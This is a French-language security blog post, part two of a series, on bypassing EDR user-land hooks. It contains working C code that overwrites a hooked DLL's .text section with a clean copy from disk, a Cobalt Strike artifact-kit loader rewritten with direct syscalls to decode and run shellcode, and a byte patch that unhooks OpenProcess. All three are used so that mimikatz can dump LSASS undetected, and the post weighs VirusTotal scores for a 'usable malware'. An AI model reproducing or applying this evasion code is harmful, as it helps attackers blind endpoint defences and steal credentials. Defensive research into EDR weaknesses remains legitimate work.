Sécurité et Bypass d’Endpoint Detection Response (EDR) (Partie 2)

Bypass d'EDR

Posté par Matthieu le 28 janvier 2021

Cet article fait suite à mon premier écrit sur la sécurité des EDR disponible ici. Cet article a pour but d'exposer plusieurs des techniques les plus couramment utilisées dans le contournement d'un EDR contrairement au premier article qui explique le fonctionnement de base de ce produit. J'invite donc les lecteurs les moins aguerris de cette technologie à lire la première partie.

Aujourd'hui, nous étudierons donc la théorie et la pratique de quatre techniques utilisées dans ce domaine. Il est important de noter que ces techniques ne sont pas les seules existantes, et qu’elles doivent souvent être combinées afin de pouvoir atteindre notre objectif final.

Je dois une grosse partie technique de cet article à Topotam, avec qui j'ai beaucoup échangé/testé sur ce sujet. Merci à toi ;)

Les trois techniques que nous allons voir aujourd'hui sont :

  • Le "mapping" d'une DLL "propre" en mémoire
  • L'utilisation direct des syscall
  • L'unhooking de certaines fonctions clefs

Remapping d'une DLL propre

Comme nous avons pu le voir et le détailler lors du premier article à ce sujet, un des mécanismes de détection des EDR est l'utilisation de "hooking userland". Ce mécanisme va donc modifier ntdll.dll directement dans la mémoire du processus afin de surveiller ses appels à la WinAPI.

Une technique existe aujourd'hui nous permettant de nous affranchir de tous les hooks posés dans cette DLL. L'idée de cette technique repose sur le fait que la dll telle qu'elle est sur le disque est saine, donc il nous suffirait nous même dans notre malware d'écraser la dll en mémoire par la dll sur le disque. Comme d'habitude, un schéma vaut mille mots :

De ce fait, à la fin de cette manipulation nous aurons la section .text saine de cette dll en mémoire et nous ne passerons plus par les hooks posés par l'EDR.

Voici le code utilisé permettant de faire ça, merci Topotam pour ce bout de code :

      int unHookAll() { 

  HANDLE process = GetCurrentProcess();
    MODULEINFO mi = {};
    HMODULE ntdllModule = GetModuleHandleA("kernel32.dll");
    GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));
    LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
    HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\kernel32.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
    LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);

    PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
    PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);

    for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
        PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

        if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
            DWORD oldProtection = 0;
            BOOL isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
            memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
            isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
        }
    }
   
    CloseHandle(process);
    CloseHandle(ntdllFile);
    CloseHandle(ntdllMapping);
    FreeLibrary(ntdllModule);

    return 0;

}

Voici le fonctionnement de cette fonction :

  • on map la kernel32.dll en mémoire.
  • on cherche l'adresse de la section text de la dll hookée
  • on récupère les protections présentes sur la dll hookée
  • on copie la section text de la dll originale dans la section text de la dll hookée.
  • on remet les protections précédemment appliquées.

Essayons d'ajouter cette fonction dans notre mimikatz et de tester à nouveau avec l'EDR développé lors du premier article.

Et maintenant mimikatz fonctionne sur notre poste protégé par notre EDR :

Notre EDR a injecté sa dll dans mimikatz cependant :

Nous pouvons lire LSASS ! L'objectif est donc atteint.

Utilisation directe des syscalls

Nous avons bien insisté sur le fait que l'EDR pose ses hooks en "userland", il va donc inspecter les paramètres d'une fonction de la WinAPI qui va faire le lien avec un syscall... et si nous utilisions directement nous-même ce syscall ?

En x64, Windows fait la transition en userland et kernelland via les "syscall". Si nous regardons la fonction NtWriteFile dans ntdll.dll nous voyons clairement comment Windows prépare le saut en kernel-land :

Il déplace dans un premier temps la bonne valeur dans eax (ici 8) puis va sauter en kernel land et utiliser la table SSDT "System Service Dispatch Table" afin de trouver l'api correspondant au syscall demandé. Ce qu'il est intéressant de remarquer est le fait qu'ici seulement l'attribution d'une valeur à eax et le syscall sont importants : si nous préparons la stack avec les arguments désirés nous serons en mesure d'appeler directement le syscall et donc de ne pas passer par les hooks de l'EDR.

Pour ce faire nous allons utiliser la solution "Inlinewhispers". Il s'agit d'un outil créé par stanhegt afin de "générer des paires headers/ASM pour n'importe quel syscall et n'importe quelle version de windows à partir de XP"

Nous allons donc simplement transformer nos trois appels à la WinAPI (VirtualAlloc, VirtualProtect et CreateThread) en syscall direct (NtAllocateVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx).

Inlinewhispers nous permet de faire cela simplement et de sortir deux fichiers : syscalls-asm.h et Syscalls.h nécessaires pour la suite de nos opérations.

Je ne passerai pas tous les détails techniques car il existe de très bons articles à ce sujet : ici et ici.

Après avoir réglé plusieurs erreurs de compatibilité nous arrivons à utiliser les syscalls depuis notre artifact kit (malware générés par Cobalt Strike). Voici le code final de notre fonction spawn :

          DWORD old;
        HANDLE hProc = GetCurrentProcess();
        LPVOID base_addr = NULL;
        HANDLE thandle = NULL;

        NtAllocateVirtualMemory(hProc, &base_addr, 0, (PSIZE_T)&length,MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        int x;
        for (x = 0; x < length; x++) {
                char temp = *((char *)buffer + x) ^ key[x % 4];
                *((char *)base_addr + x) = temp;
        }

        set_key_pointers(base_addr);

        NtProtectVirtualMemory(hProc, &base_addr,(PSIZE_T)&length, PAGE_EXECUTE_READ, &old);

        NtCreateThreadEx(&thandle, GENERIC_EXECUTE, NULL, hProc, run, base_addr, FALSE, 0, 0, 0, NULL);

Ici nous remarquons bien que les fonctions utilisées ne sont plus VirtualAlloc, VirtualProtect et CreateThread mais directement les wrappers aux syscalls.

Si nous regardons la table d'import de notre malware nous ne voyons plus VirtualAlloc ou CreateThread :

Import.0.RVAFunctionNameList.X     [CloseHandle@141, ConnectNamedPipe@163, CreateFileA@204, CreateNamedPipeA@228, CreateThread@252, DeleteCriticalSection@283, EnterCriticalSection@319, GetCurrentProcess@552, GetCurrentProcessId@553, GetCurrentThreadId@557, GetLastError@630, GetModuleHandleA@651, GetProcAddress@710, GetStartupInfoA@743, GetSystemTimeAsFileTime@769, GetTickCount@799, InitializeCriticalSection@892, LeaveCriticalSection@984, QueryPerformanceCounter@1131, ReadFile@1170, RtlAddFunctionTable@1222, RtlCaptureContext@1223, RtlLookupFunctionEntry@1230, RtlVirtualUnwind@1237, SetUnhandledExceptionFilter@1394, Sleep@1410, TerminateProcess@1425, TlsGetValue@1445, UnhandledExceptionFilter@1459, VirtualProtect@1492, VirtualQuery@1494, WriteFile@1570]

De ce fait, si un EDR utilise des hooks sur ces fonctions de la WinAPI, il ne serait plus en mesure de détecter notre malware (plus de cette manière en tout cas).

NB : Il est important de noter que cette technique seule ne suffit pas ! Après avoir mis ce malware sur virus total, j'obtiens le piètre score de 19/69 et beaucoup d'antivirus me voit en tant que "Cobalt" donc afin d'avoir un malware utilisable il faut combiner plusieurs techniques et avoir un bypass d'émulateur plus propre !

Unhooking de fonctions clefs

Pourquoi s'embêter à remapper l'entièreté de ntdll.dll si seulement quelques fonctions sont hookées ? C'est une des approches utilisées notamment par Specter Ops qui préfère envoyer une première charge qui va détecter les hooks présent sur le système et renvoyer cette liste au serveur C2 qui s'occupera de fabriquer un malware personnalisé s'affranchissant de ces sécurités.

Dans notre exemple, nous savons que Mimikatz est détecté à cause du hook sur "OpenProcess", regardons de plus près ce qui se passe vraiment dans kernel32.dll :

Nous trouvons notre fonction dans la section .text de kernel32.dll et nous pouvons clairement remarquer que l'entrée de openProcess est maintenant un jump vers DetourOpenProcess(). En comparaison, si nous observons la même entrée sans avoir executé l'EDR au préalable, nous obtenons ceci :

Maintenant l'idée est d'analyser kernel32.dll et de parcourir sa table d'export afin de trouver le RVA (Relative Virtual Address) de OpenProcess et de voir ses valeurs originales.

Chez moi le RVA est de 1A1A0 mais cela peut varier selon les builds de windows.

Si nous allons à cet offset (195A0 en raw) nous y retrouvons nos 5 octets permettant le jump sur la fonction réelle OpenProcess.Si nous écrivons ces 5 octets à l'adresse du OpenProcess détouré : nous sauterons à la fonction OpenProcess originale ! Voici donc le code que nous allons ajouter dans mimikatz :

int unHookOpenProcess() {
  kprintf(L"Unhooking OpenProcess for inf0sec");
  WriteProcessMemory(GetCurrentProcess(), GetProcAddress(GetModuleHandle(L"kernel32.dll"), "OpenProcess"), "\x48\xFF\x25\x49\xE4\x05", 6, NULL);
  return 0;
}

Inutile de détailler le code car nous avons expliqué la démarche qui nous y conduit. Essayons tout de suite :

Une fois de plus nous avons rendu l'EDR aveugle en passant outre son hook et nous sommes donc en mesure de lire LSASS.

Conclusion

Nous avons vu dans cet article plusieurs techniques permettant de s'affranchir des sécurités type "user-land hook" que peut placer un EDR. Evidement il est important de comprendre que même si notre EDR se base uniquement sur des hooks ce n'est pas le cas d'un réel EDR qui se servira d'autres mécanismes de détections afin de bloquer nos actions malveillantes. Cela implique que les méthodes et fonctions montrées dans cet article ne suffiront pas à passer outre un EDR même si cela sera un bon début.

Merci d'avoir lu cet article jusqu'au bout, suivez-moi sur twitter je compte rendre publique rapidement SecurEDR pour ceux et celles voulant tester à la maison.

Merci encore à Topotam pour les échanges enrichissants sur ce sujet

Happy Hacking !

30 Coeur(s)